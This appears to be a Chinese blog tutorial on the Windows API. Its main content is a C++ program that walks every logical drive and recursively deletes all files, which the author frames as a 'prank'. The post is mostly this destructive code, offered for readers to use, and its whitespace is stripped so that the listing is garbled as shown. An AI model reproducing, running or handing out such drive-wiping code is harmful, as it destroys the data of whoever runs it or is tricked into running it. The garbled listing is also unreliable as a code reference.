基于Windows API实现遍历所有文件并删除的方法
本文实例讲述了基于WindowsAPI实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:
最近一直在学windowsAPI,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序....
#include<windows.h> #include<stdio.h> #include<bitset> usingnamespacestd; voidDelFile(char*cFilePath) { WIN32_FIND_DATAdata; HANDLEhFind; charcFullPath[100]; charcNewPath[100]; sprintf_s(cFullPath,"%s\\*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do { if((!strcmp(".",data.cFileName))||(!strcmp("..",data.cFileName))) { continue; } if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) { sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName); DelFile(cNewPath);//递归 } //MessageBox(NULL,data.cFileName,"Look",0); sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName); DeleteFile(cFullPath); }while(FindNextFile(hFind,&data)); } intWINAPIWinMain( HINSTANCEhInstance,//handletocurrentinstance HINSTANCEhPrevInstance,//handletopreviousinstance LPSTRlpCmdLine,//commandline intnCmdShow//showstate ) { DWORDdwDrive=GetLogicalDrives(); bitset<32>bit(dwDrive); charPath[3]={'a',':','\0'}; for(intix=0;ix!=32;ix++) { if(bit.test(ix)) { Path[0]='A'+ix; DelFile(Path); } } return0; }
希望本文所述对大家的win32程序设计有所帮助。